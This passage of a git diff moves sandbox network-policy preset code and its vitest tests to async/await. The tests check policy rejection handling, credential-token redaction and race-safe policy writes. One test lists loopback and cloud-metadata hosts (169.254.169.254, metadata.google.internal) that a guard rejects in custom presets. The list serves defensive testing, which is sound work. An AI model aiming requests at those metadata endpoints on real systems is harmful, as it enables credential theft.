(const presetName of uniquePresetNames) { - const presetContent = loadPresetForSandbox(sandboxName, presetName); + const presetContent = await loadPresetForSandbox(sandboxName, presetName); if (!presetContent) { console.error(` Cannot load preset: ${presetName}`); return false; @@ -2505,7 +2497,7 @@ function applyPresets(sandboxName: string, presetNames: string[]): boolean { const operation = "apply policy presets"; let context: PolicyMutationContext; try { - context = preparePolicyMutationContext(sandboxName, operation); + context = await preparePolicyMutationContext(sandboxName, operation); } catch (error) { return reportPolicyObservationFailure(error); } @@ -2590,7 +2582,7 @@ function applyPresets(sandboxName: string, presetNames: string[]): boolean { // The shared fatal path preserves OpenShell's status after it removes the // temporary policy. Onboarding defers that exit until its recovery state // and outer cleanup have finished. - setPolicyDocument(sandboxName, merged, { + await setPolicyDocument(sandboxName, merged, { context, }); } @@ -2745,12 +2737,12 @@ function loadPresetFromFile(filePath: string): { presetName: string; content: st return { presetName, content }; } -function getAppliedPresets(sandboxName: string, timeoutMs?: number): string[] { - return getGatewayPresets(sandboxName, timeoutMs) ?? []; +async function getAppliedPresets(sandboxName: string, timeoutMs?: number): Promise { + return (await getGatewayPresets(sandboxName, timeoutMs)) ?? []; } -function listCustomPresets(sandboxName: string): PresetInfo[] { - const current = readCurrentSandboxPolicy(sandboxName); +async function listCustomPresets(sandboxName: string): Promise { + const current = await readCurrentSandboxPolicy(sandboxName); if (!current) return []; const parsed = YAML.parse(current); if (!isPolicyDocument(parsed) || !isPolicyObject(parsed.network_policies)) return []; @@ -2767,8 +2759,11 @@ function listCustomPresets(sandboxName: string): PresetInfo[] { } /** Return whether the live OpenShell key belongs to a namespaced custom preset. */ -function customPresetOwnsNetworkPolicyKey(sandboxName: string, policyKey: string): boolean { - const content = readCurrentSandboxPolicy(sandboxName); +async function customPresetOwnsNetworkPolicyKey( + sandboxName: string, + policyKey: string, +): Promise { + const content = await readCurrentSandboxPolicy(sandboxName); if (!content) return false; const parsed = YAML.parse(content); if (!isPolicyDocument(parsed) || !isPolicyObject(parsed.network_policies)) return false; @@ -2789,7 +2784,10 @@ function customPresetOwnsNetworkPolicyKey(sandboxName: string, policyKey: string * `null` to distinguish "gateway unreachable" from "gateway has no * matching presets" (`[]`). */ -function getGatewayPresets(sandboxName: string, timeoutMs?: number): string[] | null { +async function getGatewayPresets( + sandboxName: string, + timeoutMs?: number, +): Promise { let sandbox: ReturnType; let gatewayName: string; try { @@ -2800,40 +2798,48 @@ function getGatewayPresets(sandboxName: string, timeoutMs?: number): string[] | return null; } const sandboxAgent = sandbox.agent ?? null; + let document: string; + try { + document = await readLivePolicyDocument(sandboxName, gatewayName, "effective", timeoutMs); + } catch { + return null; + } + const sources: { name: string; content: string | null }[] = []; + for (const preset of listPresets({ agent: sandboxAgent })) { + sources.push({ + name: preset.name, + content: await loadPresetForSandbox(sandboxName, preset.name), + }); + } const builtins = inspectGatewayPresetNames({ - readPolicy: () => { - try { - return readLivePolicyDocument(sandboxName, gatewayName, "effective", timeoutMs); - } catch { - return ""; - } - }, + readPolicy: () => document, parseCurrentPolicy: parseCurrentPolicyOrEmpty, extractPresetEntries, - sources: () => [ - ...listPresets({ agent: sandboxAgent }).map((preset) => ({ - name: preset.name, - content: loadPresetForSandbox(sandboxName, preset.name), - })), - ], + sources: () => sources, }); if (builtins === null) return null; - return [...new Set([...builtins, ...listCustomPresets(sandboxName).map((entry) => entry.name)])]; + return [ + ...new Set([...builtins, ...(await listCustomPresets(sandboxName)).map((entry) => entry.name)]), + ]; } /** * Compare the full network-policy entries in a preset with the live gateway * policy. Unlike getGatewayPresets(), this detects same-key policy drift. */ -function getPresetContentGatewayState( +async function getPresetContentGatewayState( sandboxName: string, presetContent: string, policyKey?: string, runtimeSelection?: OpenShellRuntimeSelection, -): "match" | "absent" | "drift" | null { +): Promise<"match" | "absent" | "drift" | null> { + const document = await readCurrentSandboxPolicy( + sandboxName, + runtimeSelection?.gatewayName, + runtimeSelection, + ); return inspectPresetContentGatewayState({ - readPolicy: () => - readCurrentSandboxPolicy(sandboxName, runtimeSelection?.gatewayName, runtimeSelection) ?? "", + readPolicy: () => document ?? "", parseCurrentPolicy: parseCurrentPolicyOrEmpty, extractPresetEntries, presetContent, @@ -2841,8 +2847,11 @@ function getPresetContentGatewayState( }); } -function presetContentMatchesGateway(sandboxName: string, presetContent: string): boolean | null { - const state = getPresetContentGatewayState(sandboxName, presetContent); +async function presetContentMatchesGateway( + sandboxName: string, + presetContent: string, +): Promise { + const state = await getPresetContentGatewayState(sandboxName, presetContent); return state === null ? null : state === "match"; } diff --git a/src/lib/policy/policy-apply-finality.test.ts b/src/lib/policy/policy-apply-finality.test.ts index 2b53c4a8cbf..68063dd6675 100644 --- a/src/lib/policy/policy-apply-finality.test.ts +++ b/src/lib/policy/policy-apply-finality.test.ts @@ -15,7 +15,7 @@ import type { OpenShellSandboxPolicySetSubmission, SetOpenShellSandboxPolicyRequest, } from "../adapters/openshell/sandbox-policy"; -import { classifyCliOpenShellSandboxPolicySetResult } from "../adapters/openshell/sandbox-policy-cli"; +import { createCliOpenShellSandboxPolicyWriter } from "../adapters/openshell/sandbox-policy-cli"; const { getSandbox, @@ -34,7 +34,9 @@ const { resolveOpenshell: vi.fn(), run: vi.fn(), setSandboxPolicy: - vi.fn<(request: SetOpenShellSandboxPolicyRequest) => OpenShellSandboxPolicySetSubmission>(), + vi.fn< + (request: SetOpenShellSandboxPolicyRequest) => Promise + >(), updateSandbox: vi.fn(), })); @@ -45,12 +47,12 @@ vi.mock("../adapters/openshell/sandbox-identity-cli", async (importOriginal) => vi.mock("../adapters/openshell/sandbox-policy-cli", async (importOriginal) => ({ ...(await importOriginal()), - syncCliOpenShellSandboxPolicyReader: { + cliOpenShellSandboxPolicyReader: { inspectSandboxPolicy, readSandboxPolicy, readSandboxPolicyRevision: vi.fn(), }, - syncCliOpenShellSandboxPolicyWriter: { setSandboxPolicy }, + cliOpenShellSandboxPolicyWriter: { setSandboxPolicy }, })); vi.mock("../runner", async (importOriginal) => ({ @@ -144,36 +146,18 @@ function policySetResult(stderr: string): SpawnSyncReturns { function bindPolicySetSubmission(): void { setSandboxPolicy.mockReset(); - setSandboxPolicy.mockImplementation((request) => { - const result = run([ - "openshell", - "policy", - "set", - ...(request.target.kind === "named" ? ["-g", request.target.gatewayName] : []), - "--policy", - request.policyPath, - request.sandboxName, - ]) as { - status?: number | null; - stderr?: string | Buffer | null; - error?: Error | null; - }; - const status = typeof result.status === "number" ? result.status : null; - return { - outcome: classifyCliOpenShellSandboxPolicySetResult({ - status, - ...(result.error ? { error: result.error } : {}), - ...(result.stderr === null || result.stderr === undefined - ? {} - : { - stderr: Buffer.isBuffer(result.stderr) - ? result.stderr.toString("utf8") - : result.stderr, - }), - }), - status, - }; - }); + setSandboxPolicy.mockImplementation( + createCliOpenShellSandboxPolicyWriter({ + capture: (args) => { + const result = run(["openshell", ...args]) as { + status: number | null; + stderr?: string | Buffer; + error?: Error; + }; + return { ...result, output: "", stderr: result.stderr?.toString() }; + }, + }).setSandboxPolicy, + ); } function reportedText(): string { @@ -184,12 +168,12 @@ function reportedText(): string { .join("\n"); } -function applyWeatherPreset(): unknown { +async function applyWeatherPreset(): Promise { const exit = vi.spyOn(process, "exit").mockImplementation((code) => { throw new Error(`process.exit(${String(code)}): ${reportedText()}`); }); try { - applyPresets(SANDBOX, ["weather"]); + await applyPresets(SANDBOX, ["weather"]); return null; } catch (error) { return error; @@ -225,11 +209,11 @@ describe("applyPresets finality when openshell rejects the composed policy", () vi.spyOn(console, "error").mockImplementation(() => {}); }); - it("surfaces the authoritative OpenShell message rather than a bare exit status (#9206)", () => { + it("surfaces the authoritative OpenShell message rather than a bare exit status (#9206)", async () => { const message = 'network policy "weather" rejected: endpoint wttr.in conflicts with baseline'; run.mockReturnValue(policySetResult(openshellRejection(message))); - const error = applyWeatherPreset(); + const error = await applyWeatherPreset(); expect(error).toBeInstanceOf(Error); expect((error as Error).message).toContain(message); @@ -237,12 +221,12 @@ describe("applyPresets finality when openshell rejects the composed policy", () expect((error as Error).message).not.toMatch(/^exit 1$/); }); - it("redacts a credential-shaped token in the OpenShell message before reporting it (#9206)", () => { + it("redacts a credential-shaped token in the OpenShell message before reporting it (#9206)", async () => { run.mockReturnValue( policySetResult(openshellRejection(`rejected: header carries ${CREDENTIAL_TOKEN}`)), ); - const error = applyWeatherPreset(); + const error = await applyWeatherPreset(); expect((error as Error).message).not.toContain(CREDENTIAL_TOKEN); expect((error as Error).message).toContain("nvap"); @@ -253,19 +237,19 @@ describe("applyPresets finality when openshell rejects the composed policy", () expect(reported.filter((entry) => String(entry).includes(CREDENTIAL_TOKEN))).toEqual([]); }); - it("leaves local preset attribution unwritten when openshell rejects the policy (#9206)", () => { + it("leaves local preset attribution unwritten when openshell rejects the policy (#9206)", async () => { run.mockReturnValue(policySetResult(openshellRejection("rejected: unsupported field"))); - expect(applyWeatherPreset()).toBeInstanceOf(Error); + expect(await applyWeatherPreset()).toBeInstanceOf(Error); expect(updateSandbox).not.toHaveBeenCalled(); }); - it("leaves local preset attribution unwritten when the outcome is unknown (#9206)", () => { + it("leaves local preset attribution unwritten when the outcome is unknown (#9206)", async () => { run.mockReturnValue( policySetResult("Error: code: 'Internal error', message: 'h2 protocol error: http2 error'"), ); - const error = applyWeatherPreset(); + const error = await applyWeatherPreset(); expect((error as Error).message).toContain( "The current live policy differs from the requested document", @@ -306,34 +290,34 @@ describe("single-preset mutations when openshell rejects the composed policy", ( vi.spyOn(console, "error").mockImplementation(() => {}); }); - it("returns false from a nonFatal removePreset and reports the OpenShell message (#9206)", () => { + it("returns false from a nonFatal removePreset and reports the OpenShell message (#9206)", async () => { readSandboxPolicy.mockReturnValue({ ok: true, value: { document: BASE_POLICY_WITH_WEATHER, appliedRevision: 1 }, }); - expect(removePreset(SANDBOX, "weather", { nonFatal: true })).toBe(false); + expect(await removePreset(SANDBOX, "weather", { nonFatal: true })).toBe(false); expect(reportedText()).toContain(REJECTION_MESSAGE); expect(reportedText()).toContain("change the preset selection instead"); expect(updateSandbox).not.toHaveBeenCalled(); }); - it("returns false from a nonFatal applyPresetContent and reports the OpenShell message (#9206)", () => { - expect(applyPresetContent(SANDBOX, "weather", WEATHER_PRESET_CONTENT, { nonFatal: true })).toBe( - false, - ); + it("returns false from a nonFatal applyPresetContent and reports the OpenShell message (#9206)", async () => { + expect( + await applyPresetContent(SANDBOX, "weather", WEATHER_PRESET_CONTENT, { nonFatal: true }), + ).toBe(false); expect(reportedText()).toContain(REJECTION_MESSAGE); expect(updateSandbox).not.toHaveBeenCalled(); }); - it("redacts a credential-shaped token before reporting a nonFatal failure (#9206)", () => { + it("redacts a credential-shaped token before reporting a nonFatal failure (#9206)", async () => { run.mockReturnValue( policySetResult(openshellRejection(`rejected: header carries ${CREDENTIAL_TOKEN}`)), ); - expect(applyPresetContent(SANDBOX, "weather", WEATHER_PRESET_CONTENT, { nonFatal: true })).toBe( - false, - ); + expect( + await applyPresetContent(SANDBOX, "weather", WEATHER_PRESET_CONTENT, { nonFatal: true }), + ).toBe(false); expect(reportedText()).not.toContain(CREDENTIAL_TOKEN); }); }); @@ -362,7 +346,7 @@ describe("applyPresets temporary policy material under local I/O failure", () => vi.spyOn(console, "error").mockImplementation(() => {}); }); - it("removes the private directory when the policy document cannot be written (#9206)", () => { + it("removes the private directory when the policy document cannot be written (#9206)", async () => { const created: string[] = []; vi.spyOn(fs, "mkdtempSync").mockImplementation(((prefix: string) => { const dir = `${prefix}fault${created.length}`; @@ -374,14 +358,14 @@ describe("applyPresets temporary policy material under local I/O failure", () => throw new Error("ENOSPC: no space left on device"); }); - const error = applyWeatherPreset(); + const error = await applyWeatherPreset(); expect(error).toBeInstanceOf(Error); expect(created).toHaveLength(1); expect(fs.existsSync(created[0] as string)).toBe(false); }); - it("names the directory that still holds the composed policy when cleanup fails (#9206)", () => { + it("names the directory that still holds the composed policy when cleanup fails (#9206)", async () => { const created: string[] = []; const realMkdtemp = fs.mkdtempSync; const realRmSync = fs.rmSync; @@ -394,22 +378,22 @@ describe("applyPresets temporary policy material under local I/O failure", () => return dir; }) as unknown as typeof fs.mkdtempSync); vi.spyOn(fs, "rmSync").mockImplementation(() => { - throw new Error("EPERM: operation not permitted"); + throw Object.assign(new Error("EPERM: operation not permitted"), { code: "EPERM" }); }); try { - const error = applyWeatherPreset(); + const error = await applyWeatherPreset(); expect(created).toHaveLength(1); expect((error as Error).message).toContain(created[0] as string); - expect((error as Error).message).toContain("EPERM: operation not permitted"); + expect((error as Error).message).toContain("EPERM"); } finally { vi.restoreAllMocks(); removeTemporaryDirectory(cleanupRoot, realRmSync); } }); - it("reports a residual directory that removal left behind without an error (#9206)", () => { + it("reports a residual directory that removal left behind without an error (#9206)", async () => { const created: string[] = []; const realMkdtemp = fs.mkdtempSync; const realRmSync = fs.rmSync; @@ -425,7 +409,7 @@ describe("applyPresets temporary policy material under local I/O failure", () => vi.spyOn(fs, "rmSync").mockImplementation(() => undefined); try { - const error = applyWeatherPreset(); + const error = await applyWeatherPreset(); expect(created).toHaveLength(1); expect((error as Error).message).toContain(created[0] as string); @@ -436,7 +420,7 @@ describe("applyPresets temporary policy material under local I/O failure", () => } }); - it("reports retained policy material even when the submission itself failed (#9206)", () => { + it("reports retained policy material even when the submission itself failed (#9206)", async () => { const created: string[] = []; const realMkdtemp = fs.mkdtempSync; const realRmSync = fs.rmSync; @@ -452,11 +436,11 @@ describe("applyPresets temporary policy material under local I/O failure", () => throw new Error("spawn failed before any result"); }); vi.spyOn(fs, "rmSync").mockImplementation(() => { - throw new Error("EPERM: operation not permitted"); + throw Object.assign(new Error("EPERM: operation not permitted"), { code: "EPERM" }); }); try { - const error = applyWeatherPreset(); + const error = await applyWeatherPreset(); expect(created).toHaveLength(1); expect((error as Error).message).toMatch(/still holds the composed sandbox policy/iu); diff --git a/src/lib/policy/policy-live-state.test.ts b/src/lib/policy/policy-live-state.test.ts index 716e42e0a9d..6d87ef83bd3 100644 --- a/src/lib/policy/policy-live-state.test.ts +++ b/src/lib/policy/policy-live-state.test.ts @@ -1,7 +1,6 @@ // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. // SPDX-License-Identifier: Apache-2.0 -import fs from "node:fs"; import YAML from "yaml"; import { beforeEach, describe, expect, it, vi } from "vitest"; @@ -23,12 +22,12 @@ const mocks = vi.hoisted(() => ({ vi.mock("../adapters/openshell/sandbox-policy-cli", async (importOriginal) => ({ ...(await importOriginal()), - syncCliOpenShellSandboxPolicyReader: { + cliOpenShellSandboxPolicyReader: { inspectSandboxPolicy: mocks.inspectSandboxPolicy, readSandboxPolicy: mocks.readSandboxPolicy, readSandboxPolicyRevision: mocks.readSandboxPolicyRevision, }, - syncCliOpenShellSandboxPolicyWriter: { + cliOpenShellSandboxPolicyWriter: { setSandboxPolicy: mocks.setSandboxPolicy, }, })); @@ -87,7 +86,7 @@ describe("live OpenShell policy mutations", () => { })); mocks.resolveOpenshell.mockReturnValue("/usr/local/bin/openshell"); mocks.setSandboxPolicy.mockImplementation((request) => { - livePolicy = fs.readFileSync(request.policyPath, "utf8"); + livePolicy = request.document; return { outcome: { kind: "applied" }, status: 0, @@ -98,16 +97,16 @@ describe("live OpenShell policy mutations", () => { vi.spyOn(console, "warn").mockImplementation(() => undefined); }); - it("uses live policy state without a registry owner or receipt", () => { - expect(inspectPolicyMutationContext(sandboxName, "inspect policy")).toEqual( + it("uses live policy state without a registry owner or receipt", async () => { + expect(await inspectPolicyMutationContext(sandboxName, "inspect policy")).toEqual( expect.objectContaining({ gatewayName: "nemoclaw" }), ); - expect(inspectPolicyMutationContext(sandboxName, "inspect policy")).not.toHaveProperty( + expect(await inspectPolicyMutationContext(sandboxName, "inspect policy")).not.toHaveProperty( "authority", ); }); - it("pins recorded policy reads to the supplied operation target (#10514)", () => { + it("pins recorded policy reads to the supplied operation target (#10514)", async () => { const runtimeSelection = { gatewayName: "nemoclaw", localTlsDir: "/authority/tls", @@ -115,7 +114,11 @@ describe("live OpenShell policy mutations", () => { } as const; expect( - captureRecordedSandboxBasePolicy(sandboxName, "capture a lifecycle policy", runtimeSelection), + await captureRecordedSandboxBasePolicy( + sandboxName, + "capture a lifecycle policy", + runtimeSelection, + ), ).toBe(livePolicy); expect(mocks.inspectSandboxPolicy).toHaveBeenCalledWith({ target: { kind: "named", gatewayName: "nemoclaw" }, @@ -132,40 +135,41 @@ describe("live OpenShell policy mutations", () => { ); }); - it("confirms an ambiguous submission when authoritative readback matches", () => { - const context = inspectPolicyMutationContext(sandboxName, "prepare policy confirmation"); + it("confirms an ambiguous submission when authoritative readback matches", async () => { + const context = await inspectPolicyMutationContext(sandboxName, "prepare policy confirmation"); - expect(() => + await expect( confirmAppliedPolicySetSubmission( - { outcome: { kind: "ambiguous", detail: "response stream reset" }, status: 3 }, + { status: 1, outcome: { kind: "ambiguous", detail: "response stream reset" } }, sandboxName, livePolicy, context, "apply the requested policy", ), - ).not.toThrow(); + ).resolves.toBeUndefined(); }); - it("leaves an ambiguous submission unconfirmed when readback is unavailable", () => { - const context = inspectPolicyMutationContext(sandboxName, "prepare policy confirmation"); + it("leaves an ambiguous submission unconfirmed when readback is unavailable", async () => { + const context = await inspectPolicyMutationContext(sandboxName, "prepare policy confirmation"); mocks.readSandboxPolicy.mockReturnValue({ ok: false, error: { kind: "timeout", message: "OpenShell policy read timed out" }, }); - expect(() => - confirmAppliedPolicySetSubmission( - { outcome: { kind: "ambiguous", detail: "response stream reset" }, status: 3 }, - sandboxName, - livePolicy, - context, - "apply the requested policy", - ), - ).toThrow("could not verify the resulting base policy"); + await expect( + (async () => + await confirmAppliedPolicySetSubmission( + { status: 1, outcome: { kind: "ambiguous", detail: "response stream reset" } }, + sandboxName, + livePolicy, + context, + "apply the requested policy", + ))(), + ).rejects.toThrow("could not verify the resulting base policy"); }); - it("preserves an out-of-band host entry while adding and removing a preset", () => { - expect(applyPresetContent(sandboxName, "weather", preset, { nonFatal: true })).toBe(true); + it("preserves an out-of-band host entry while adding and removing a preset", async () => { + expect(await applyPresetContent(sandboxName, "weather", preset, { nonFatal: true })).toBe(true); expect(mocks.setSandboxPolicy).toHaveBeenCalledOnce(); expect(mocks.readSandboxPolicy).toHaveBeenCalledTimes(3); expect(YAML.parse(livePolicy).network_policies).toEqual( @@ -174,20 +178,20 @@ describe("live OpenShell policy mutations", () => { mocks.setSandboxPolicy.mockClear(); mocks.readSandboxPolicy.mockClear(); - expect(removePreset(sandboxName, "weather", { nonFatal: true })).toBe(true); + expect(await removePreset(sandboxName, "weather", { nonFatal: true })).toBe(true); expect(mocks.setSandboxPolicy).toHaveBeenCalledOnce(); expect(mocks.readSandboxPolicy).toHaveBeenCalledTimes(3); expect(YAML.parse(livePolicy).network_policies).toEqual({ host_approval: hostEntry }); }); - it("uses one initial base-policy read, one final recheck, and one write readback for a batch", () => { - expect(applyPresets(sandboxName, ["weather"])).toBe(true); + it("uses one initial base-policy read, one final recheck, and one write readback for a batch", async () => { + expect(await applyPresets(sandboxName, ["weather"])).toBe(true); expect(mocks.readSandboxPolicy).toHaveBeenCalledTimes(3); expect(YAML.parse(livePolicy).network_policies).toHaveProperty("weather"); }); - it("does not overwrite a host edit that races a prepared full-policy update", () => { + it("does not overwrite a host edit that races a prepared full-policy update", async () => { let observations = 0; mocks.inspectSandboxPolicy.mockImplementation(() => { observations += 1; @@ -214,13 +218,15 @@ describe("live OpenShell policy mutations", () => { }); }); - expect(applyPresetContent(sandboxName, "weather", preset, { nonFatal: true })).toBe(false); + expect(await applyPresetContent(sandboxName, "weather", preset, { nonFatal: true })).toBe( + false, + ); expect(mocks.setSandboxPolicy).not.toHaveBeenCalled(); expect(mocks.readSandboxPolicy).toHaveBeenCalledTimes(2); expect(YAML.parse(livePolicy).network_policies).toHaveProperty("concurrent_host_edit"); }); - it("preserves a host edit made after the final reread but before policy set", () => { + it("preserves a host edit made after the final reread but before policy set", async () => { let activeVersion = 1; let concurrentRevision = livePolicy; mocks.inspectSandboxPolicy.mockImplementation(() => { @@ -239,7 +245,7 @@ describe("live OpenShell policy mutations", () => { mocks.setSandboxPolicy .mockImplementationOnce((request) => { writes += 1; - const requested = fs.readFileSync(request.policyPath, "utf8"); + const requested = request.document; const concurrent = YAML.parse(livePolicy); concurrent.network_policies.concurrent_host_edit = { endpoints: [{ host: "concurrent.example.com", port: 443 }], @@ -252,12 +258,12 @@ describe("live OpenShell policy mutations", () => { }) .mockImplementation((request) => { writes += 1; - livePolicy = fs.readFileSync(request.policyPath, "utf8"); + livePolicy = request.document; activeVersion += 1; return { outcome: { kind: "applied" }, status: 0 }; }); - expect(applyPresetContent(sandboxName, "weather", preset, { nonFatal: true })).toBe(true); + expect(await applyPresetContent(sandboxName, "weather", preset, { nonFatal: true })).toBe(true); expect(writes).toBe(2); expect(YAML.parse(livePolicy).network_policies).toEqual( expect.objectContaining({ @@ -268,46 +274,46 @@ describe("live OpenShell policy mutations", () => { ); }); - it("accepts an ambiguous write only when live readback matches", () => { + it("accepts an ambiguous write only when live readback matches", async () => { const desiredPolicy = YAML.stringify({ version: 1, network_policies: { host_approval: hostEntry, confirmed_after_reset: {} }, }); mocks.setSandboxPolicy.mockImplementation((request) => { - livePolicy = fs.readFileSync(request.policyPath, "utf8"); + livePolicy = request.document; return { outcome: { kind: "ambiguous", detail: "openshell: response stream reset" }, - status: 3, + status: 1, }; }); - expect(setPolicyDocument(sandboxName, desiredPolicy, { nonFatal: true })).toBe(true); + expect(await setPolicyDocument(sandboxName, desiredPolicy, { nonFatal: true })).toBe(true); expect(mocks.readSandboxPolicy).toHaveBeenCalledWith( expect.objectContaining({ sandboxName, scope: "base" }), ); }); - it("rejects an ambiguous write when live readback differs", () => { + it("rejects an ambiguous write when live readback differs", async () => { const desiredPolicy = YAML.stringify({ version: 1, network_policies: { requested_but_absent: {} }, }); mocks.setSandboxPolicy.mockReturnValue({ outcome: { kind: "ambiguous", detail: "openshell: response stream reset" }, - status: 3, + status: 1, }); - expect(setPolicyDocument(sandboxName, desiredPolicy, { nonFatal: true })).toBe(false); + expect(await setPolicyDocument(sandboxName, desiredPolicy, { nonFatal: true })).toBe(false); expect(console.error).toHaveBeenCalledWith( expect.stringContaining("The current live policy differs from the requested document"), ); }); - it("rejects an ambiguous write when live readback is unavailable", () => { + it("rejects an ambiguous write when live readback is unavailable", async () => { const desiredPolicy = YAML.stringify({ version: 1, network_policies: {} }); mocks.setSandboxPolicy.mockReturnValue({ outcome: { kind: "ambiguous", detail: "openshell: response stream reset" }, - status: 3, + status: 1, }); mocks.readSandboxPolicy .mockImplementationOnce(() => policyRead(livePolicy)) @@ -316,13 +322,13 @@ describe("live OpenShell policy mutations", () => { error: { kind: "timeout", message: "OpenShell policy read timed out" }, }); - expect(setPolicyDocument(sandboxName, desiredPolicy, { nonFatal: true })).toBe(false); + expect(await setPolicyDocument(sandboxName, desiredPolicy, { nonFatal: true })).toBe(false); expect(console.error).toHaveBeenCalledWith( expect.stringContaining("The current live policy could not be read"), ); }); - it("removes one baseline entry from the bounded live policy", () => { + it("removes one baseline entry from the bounded live policy", async () => { const baselineEntry = { name: "npm_registry", endpoints: [{ host: "registry.npmjs.org", port: 443 }], @@ -333,14 +339,14 @@ describe("live OpenShell policy mutations", () => { }); expect( - excludeBaselineEntry(sandboxName, "npm_registry", digestBaselineEntry(baselineEntry), { + await excludeBaselineEntry(sandboxName, "npm_registry", digestBaselineEntry(baselineEntry), { nonFatal: true, }), ).toBe(true); expect(YAML.parse(livePolicy).network_policies).toEqual({ host_approval: hostEntry }); }); - it("does not let baseline exclude or restore overwrite a concurrent host edit", () => { + it("does not let baseline exclude or restore overwrite a concurrent host edit", async () => { const baselineEntry = { name: "npm_registry", endpoints: [{ host: "registry.npmjs.org", port: 443 }], @@ -381,7 +387,7 @@ describe("live OpenShell policy mutations", () => { }); installRace(); expect( - excludeBaselineEntry(sandboxName, "npm_registry", digestBaselineEntry(baselineEntry), { + await excludeBaselineEntry(sandboxName, "npm_registry", digestBaselineEntry(baselineEntry), { nonFatal: true, }), ).toBe(false); @@ -393,28 +399,30 @@ describe("live OpenShell policy mutations", () => { network_policies: { host_approval: hostEntry }, }); installRace(); - expect(restoreBaselineEntry(sandboxName, "npm_registry", { nonFatal: true })).toBe(false); + expect(await restoreBaselineEntry(sandboxName, "npm_registry", { nonFatal: true })).toBe(false); expect(mocks.setSandboxPolicy).not.toHaveBeenCalled(); expect(YAML.parse(livePolicy).network_policies).toHaveProperty("concurrent_host_edit"); }); - it("makes no mutation when the bounded base-policy adapter refuses the read", () => { + it("makes no mutation when the bounded base-policy adapter refuses the read", async () => { mocks.readSandboxPolicy.mockReturnValue({ ok: false, error: { kind: "timeout", message: "OpenShell policy read timed out" }, }); - expect(applyPresetContent(sandboxName, "weather", preset, { nonFatal: true })).toBe(false); - expect(removePreset(sandboxName, "weather", { nonFatal: true, presetContent: preset })).toBe( + expect(await applyPresetContent(sandboxName, "weather", preset, { nonFatal: true })).toBe( false, ); - expect(applyPresets(sandboxName, ["npm"])).toBe(false); + expect( + await removePreset(sandboxName, "weather", { nonFatal: true, presetContent: preset }), + ).toBe(false); + expect(await applyPresets(sandboxName, ["npm"])).toBe(false); expect(mocks.setSandboxPolicy).not.toHaveBeenCalled(); }); - it("derives custom preset identity from namespaced OpenShell keys", () => { + it("derives custom preset identity from namespaced OpenShell keys", async () => { expect( - applyPresetContent(sandboxName, "weather", preset, { + await applyPresetContent(sandboxName, "weather", preset, { custom: { sourcePath: "/tmp/weather.yaml" }, nonFatal: true, }), @@ -424,10 +432,10 @@ describe("live OpenShell policy mutations", () => { ); }); - it("loads a live custom preset without reporting a built-in miss (#10775)", () => { + it("loads a live custom preset without reporting a built-in miss (#10775)", async () => { vi.mocked(console.error).mockClear(); expect( - applyPresetContent(sandboxName, "fixture-weather", preset, { + await applyPresetContent(sandboxName, "fixture-weather", preset, { custom: { sourcePath: "/tmp/weather.yaml" }, nonFatal: true, }), @@ -435,16 +443,16 @@ describe("live OpenShell policy mutations", () => { expect(console.error).not.toHaveBeenCalled(); vi.mocked(console.error).mockClear(); - expect(loadPresetForSandbox(sandboxName, "fixture-weather")).toContain( + expect(await loadPresetForSandbox(sandboxName, "fixture-weather")).toContain( "nemoclaw_custom__fixture-weather__weather", ); expect(console.error).not.toHaveBeenCalledWith(expect.stringContaining("Preset not found")); }); - it("removes a live custom preset without reporting a built-in miss (#10775)", () => { + it("removes a live custom preset without reporting a built-in miss (#10775)", async () => { vi.mocked(console.error).mockClear(); expect( - applyPresetContent(sandboxName, "fixture-weather", preset, { + await applyPresetContent(sandboxName, "fixture-weather", preset, { custom: { sourcePath: "/tmp/weather.yaml" }, nonFatal: true, }), @@ -452,15 +460,15 @@ describe("live OpenShell policy mutations", () => { expect(console.error).not.toHaveBeenCalled(); vi.mocked(console.error).mockClear(); - expect(removePreset(sandboxName, "fixture-weather", { nonFatal: true })).toBe(true); + expect(await removePreset(sandboxName, "fixture-weather", { nonFatal: true })).toBe(true); expect(console.error).not.toHaveBeenCalledWith(expect.stringContaining("Preset not found")); expect(YAML.parse(livePolicy).network_policies).not.toHaveProperty( "nemoclaw_custom__fixture-weather__weather", ); }); - it("still reports a genuinely missing preset (#10775)", () => { - expect(removePreset(sandboxName, "no-such-preset", { nonFatal: true })).toBe(false); + it("still reports a genuinely missing preset (#10775)", async () => { + expect(await removePreset(sandboxName, "no-such-preset", { nonFatal: true })).toBe(false); expect(console.error).toHaveBeenCalledWith( expect.stringContaining("Cannot load preset: no-such-preset"), ); diff --git a/src/lib/policy/preset-allowed-ips.test.ts b/src/lib/policy/preset-allowed-ips.test.ts index 6eb8a49f480..33932868e2a 100644 --- a/src/lib/policy/preset-allowed-ips.test.ts +++ b/src/lib/policy/preset-allowed-ips.test.ts @@ -210,7 +210,7 @@ describe("networkPoliciesHasAllowedIps prototype-chain guard (#6072)", () => { describe("applyPresetContent private endpoint guard", () => { it.each(["127.0.0.1", "169.254.169.254", "metadata.google.internal"])( "rejects an untrusted private or special-use endpoint host %s before side effects", - (host) => { + async (host) => { const content = `preset: name: private-host network_policies: @@ -223,7 +223,7 @@ network_policies: const error = vi.spyOn(console, "error").mockImplementation(() => undefined); expect( - applyPresetContent("test-sandbox", "private-host", content, { + await applyPresetContent("test-sandbox", "private-host", content, { custom: { sourcePath: "private-host.yaml" }, }), ).toBe(false); @@ -239,7 +239,7 @@ network_policies: }); describe("applyPresetContent allowed_ips guard (#6073)", () => { - it("rejects a custom preset when the full YAML document is invalid (#9406)", () => { + it("rejects a custom preset when the full YAML document is invalid (#9406)", async () => { const content = `preset: corp preset: corp network_policies: @@ -250,7 +250,7 @@ network_policies: const error = vi.spyOn(console, "error").mockImplementation(() => undefined); expect( - applyPresetContent("test-sandbox", "invalid-full-document", content, { + await applyPresetContent("test-sandbox", "invalid-full-document", content, { custom: { sourcePath: "invalid.yaml" }, }), ).toBe(false); @@ -261,11 +261,11 @@ network_policies: error.mockRestore(); }); - it("rejects custom preset content containing allowed_ips before any side effects", () => { + it("rejects custom preset content containing allowed_ips before any side effects", async () => { const error = vi.spyOn(console, "error").mockImplementation(() => undefined); expect( - applyPresetContent("test-sandbox", "evil-preset", UNTRUSTED_ALLOWED_IPS_PRESET, { + await applyPresetContent("test-sandbox", "evil-preset", UNTRUSTED_ALLOWED_IPS_PRESET, { custom: { sourcePath: "evil-preset.yaml" }, }), ).toBe(false); @@ -276,7 +276,7 @@ network_policies: error.mockRestore(); }); - it("rejects a forged process-local pin capability before any side effects (#8176)", () => { + it("rejects a forged process-local pin capability before any side effects (#8176)", async () => { const content = `preset: name: forged-private network_policies: @@ 